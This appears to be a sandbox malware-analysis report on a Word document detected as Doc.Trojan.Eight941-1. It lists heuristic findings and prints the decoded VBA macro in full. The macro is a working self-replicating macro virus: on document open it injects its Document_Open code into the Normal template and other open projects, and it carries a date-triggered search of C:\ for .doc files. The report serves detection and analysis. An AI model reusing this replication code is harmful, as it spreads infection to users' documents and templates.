MALICIOUS
200
Risk Score
Heuristics 3
-
ClamAV: Doc.Trojan.Eight941-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Eight941-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc) Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l) Else
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2847 bytes |
SHA-256: 3093670f8942682aea6f7f838d2b64782aa041998f3e7b43384ff97fcb38584b |
|||
|
Detection
ClamAV:
Doc.Trojan.Eight941-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
' L637592
' JH
'
' 03/24/2000 5:06:15 PM
'
' L637592
' JH
'
' 03/24/2000 4:12:56 PM
'
' L637592
' JH
'
' 03/24/2000 1:54:09 PM
'
' L637592
' JH
'
' 03/24/2000 1:21:48 PM
'
' L637592
' JH
'
' 03/23/2000 3:28:17 PM
'
' L637592
' JH
'
' 03/21/2000 2:16:42 PM
'
' L637592
' JH
'
' 03/21/2000 2:16:17 PM
'
' L637592
' JH
'
' 03/21/2000 1:39:46 PM
'
' L637592
' JH
'
' 03/21/2000 1:18:40 PM
'
' L637592
' JH
'
' 03/21/2000 12:54:33 PM
'
' L637592
' JH
'
' 03/21/2000 10:54:39 AM
'
' L637592
' JH
'
' 03/21/2000 8:53:37 AM
'
' L637592
' JH
'
' 03/21/2000 8:24:39 AM
'
' L637592
' JH
'
' 03/16/2000 12:42:50 PM
'
' L637592
' JH
'
' 03/15/2000 5:50:58 PM
'
Private Sub Document_Open()
On Error GoTo 0
Dim i, j As Integer
j = -1
For i = 1 To Application.VBE.VBProjects.Count
If Application.VBE.VBProjects(i).Name = "Normal" Then
j = i
End If
If Application.VBE.VBProjects(i).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = False Then
Dim B, l As Integer
If j > 0 Then
If Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Find("Document_Open", 1, 1, 1000, 100) = True Then
B = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
l = Application.VBE.VBProjects(j).VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Application.VBE.VBProjects(j).VBComponents(1).CodeModule.Lines(B, B + l)
Else
B = Me.VBProject.VBComponents(1).CodeModule.ProcStartLine("Document_Open", vbext_pk_Proc)
l = Me.VBProject.VBComponents(1).CodeModule.ProcCountLines("Document_Open", vbext_pk_Proc)
Application.VBE.VBProjects(i).VBComponents(1).CodeModule.AddFromString Me.VBProject.VBComponents(1).CodeModule.Lines(B, B + l)
End If
End If
End If
Next i
If (Month(Date) = 11 And Day(Date) = 10) Or (Month(Date) = 7 And Day(Date) = 1) Then
Set fs = Application.FileSearch
fs.LookIn = "c:\"
fs.FileName = "*.doc"
fs.SearchSubFolders = True
If fs.Execute() > 0 Then
For i = 1 To fs.FoundFiles.Count
Options.AllowFastSave = True
Options.BackgroundSave = True
Options.CreateBackup = False
Options.SavePropertiesPrompt = False
Options.SaveNormalPrompt = False
Exitub:
Next i
End If
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.